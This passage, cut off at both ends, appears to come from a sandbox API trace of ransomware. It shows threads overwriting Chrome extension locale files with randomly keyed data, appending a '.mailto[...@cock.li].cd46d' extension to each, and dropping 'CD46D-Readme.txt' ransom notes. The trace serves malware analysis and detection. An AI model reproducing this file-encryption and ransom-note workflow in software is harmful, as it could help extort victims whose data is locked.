Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.712] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x29af8e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.712] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x12cf7618 [0201.909] FlushFileBuffers (hFile=0x13cc) returned 1 [0201.916] CloseHandle (hObject=0x13cc) returned 1 [0201.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x8fdfe8 [0201.981] wcscpy (in: _Dest=0x8fdfe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\" [0201.981] wcscat (in: _Dest=0x8fdfe8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\CD46D-Readme.txt" [0201.981] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\cd46d-readme.txt")) returned 0xffffffff [0201.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.088] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x29af8f0, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x29af8f0*=0x6fd, lpOverlapped=0x0) returned 1 [0202.089] CloseHandle (hObject=0x14b8) returned 1 [0202.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fdfe8) returned 1 [0202.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a6418) returned 1 Thread: id = 8816 os_tid = 0x16bc [0197.150] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json")) returned 0x2020 [0197.151] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json", dwFileAttributes=0x20) returned 1 [0200.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf54 [0200.140] GetFileSizeEx (in: hFile=0xf54, lpFileSize=0x392fc20 | out: lpFileSize=0x392fc20*=179) returned 1 [0200.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095a0 [0200.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909898 [0200.140] NtQuerySystemTime (in: CurrentTime=0x392fb80 | out: CurrentTime=0x392fb80*=132174899747338000) returned 0x0 [0200.140] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x7cc53bb8 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x5ff009ef [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x10a52701 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x64e594d [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x6ab1cab8 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x6c2c223 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x31484517 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x7b217b4b [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x22df72b9 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x39b9701f [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x44114947 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x2cc8458f [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x28bc7be7 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x449b5d07 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x6bcc976a [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x2cbb6b9 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x66b49dd2 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x55c30be4 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x4dad26c1 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x3abc239e [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x7cd310f5 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0xbf2afc7 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x4ba1bbe4 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x4e3bf940 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x59eb1baf [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x3fd8cb92 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x65e6d039 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x240d0967 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x77155680 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x1c340c09 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x2ae98dd4 [0200.141] RtlRandomEx (in: Seed=0x392fb8c | out: Seed=0x392fb8c) returned 0x28efa3c4 [0200.153] ReadFile (in: hFile=0xf54, lpBuffer=0x12dc6930, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x392fb7c, lpOverlapped=0x0 | out: lpBuffer=0x12dc6930*, lpNumberOfBytesRead=0x392fb7c*=0xb3, lpOverlapped=0x0) returned 1 [0200.154] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.154] WriteFile (in: hFile=0xf54, lpBuffer=0x12dd3138*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x392fb78, lpOverlapped=0x0 | out: lpBuffer=0x12dd3138*, lpNumberOfBytesWritten=0x392fb78*=0xb3, lpOverlapped=0x0) returned 1 [0201.184] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8288 [0201.184] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d82b0 [0201.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82b0) returned 1 [0201.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dd3138) returned 1 [0201.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dc6930) returned 1 [0201.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0201.184] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2470) returned 1 [0201.184] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6b40 [0201.184] SetFilePointerEx (in: hFile=0xf54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.184] WriteFile (in: hFile=0xf54, lpBuffer=0x1338d3f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x392fbe0, lpOverlapped=0x0 | out: lpBuffer=0x1338d3f8*, lpNumberOfBytesWritten=0x392fbe0*=0x10b, lpOverlapped=0x0) returned 1 [0202.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d3f8) returned 1 [0202.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b70) returned 1 [0202.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82b0) returned 1 [0202.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b40) returned 1 [0202.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8288) returned 1 [0202.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095a0) returned 1 [0202.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9092a8) returned 1 [0202.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9093e8) returned 1 [0202.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c7778 [0202.815] wcscpy (in: _Dest=0xd4c7778, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" [0202.815] wcscat (in: _Dest=0xd4c7778, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0202.815] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x392fb98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x934b88 [0203.659] FlushFileBuffers (hFile=0xf54) returned 1 [0203.665] CloseHandle (hObject=0xf54) returned 1 [0203.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9a5b20 [0203.707] wcscpy (in: _Dest=0x9a5b20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\" [0203.707] wcscat (in: _Dest=0x9a5b20, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\CD46D-Readme.txt" [0203.707] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\cd46d-readme.txt")) returned 0xffffffff [0203.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x970 [0203.737] WriteFile (in: hFile=0x970, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x392fba0, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x392fba0*=0x6fd, lpOverlapped=0x0) returned 1 [0203.756] CloseHandle (hObject=0x970) returned 1 [0203.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a5b20) returned 1 [0203.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a62d0) returned 1 Thread: id = 8817 os_tid = 0x16c0 [0197.151] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json")) returned 0x2020 [0197.152] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json", dwFileAttributes=0x20) returned 1 [0200.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x12ac [0200.155] GetFileSizeEx (in: hFile=0x12ac, lpFileSize=0x4e3fd34 | out: lpFileSize=0x4e3fd34*=179) returned 1 [0200.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909898 [0200.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909960 [0200.156] NtQuerySystemTime (in: CurrentTime=0x4e3fc94 | out: CurrentTime=0x4e3fc94*=132174899747494000) returned 0x0 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x55c55bb3 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x2d780d69 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x30649c7d [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x2bbae546 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x457271e [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0xbe6652f [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x51946c12 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x71388ae2 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x699f9a17 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x14d4afdb [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x4f6c6256 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x31df3fa7 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x73722292 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x3928ce78 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x59ed1c2e [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x2e06635a [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x3501de89 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x192e6fc9 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x5f24a530 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x7b3c466f [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x216ae2c2 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x5d2e955c [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x4deb7e23 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x450bfa24 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x5db3b7e8 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x2d54047b [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x7eea2f0 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x4f9784b8 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x38a264e [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x37017f29 [0200.156] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0xe8cd4bf [0200.157] RtlRandomEx (in: Seed=0x4e3fca0 | out: Seed=0x4e3fca0) returned 0x38b1d14b [0200.168] ReadFile (in: hFile=0x12ac, lpBuffer=0x12ddf940, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x4e3fc90, lpOverlapped=0x0 | out: lpBuffer=0x12ddf940*, lpNumberOfBytesRead=0x4e3fc90*=0xb3, lpOverlapped=0x0) returned 1 [0200.169] SetFilePointerEx (in: hFile=0x12ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.169] WriteFile (in: hFile=0x12ac, lpBuffer=0x12dec148*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4e3fc8c, lpOverlapped=0x0 | out: lpBuffer=0x12dec148*, lpNumberOfBytesWritten=0x4e3fc8c*=0xb3, lpOverlapped=0x0) returned 1 [0202.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095a0 [0202.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909780 [0202.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909780) returned 1 [0202.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dec148) returned 1 [0202.935] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ddf940) returned 1 [0202.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8ff8) returned 1 [0202.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a58) returned 1 [0202.939] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ae0 [0202.940] SetFilePointerEx (in: hFile=0x12ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.940] WriteFile (in: hFile=0x12ac, lpBuffer=0x1338d2e0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x4e3fcf4, lpOverlapped=0x0 | out: lpBuffer=0x1338d2e0*, lpNumberOfBytesWritten=0x4e3fcf4*=0x10b, lpOverlapped=0x0) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d2e0) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b10) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909780) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ae0) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095a0) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909898) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9097a8) returned 1 [0203.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909348) returned 1 [0203.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c6fd0 [0203.647] wcscpy (in: _Dest=0xd4c6fd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" [0203.647] wcscat (in: _Dest=0xd4c6fd0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0203.647] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 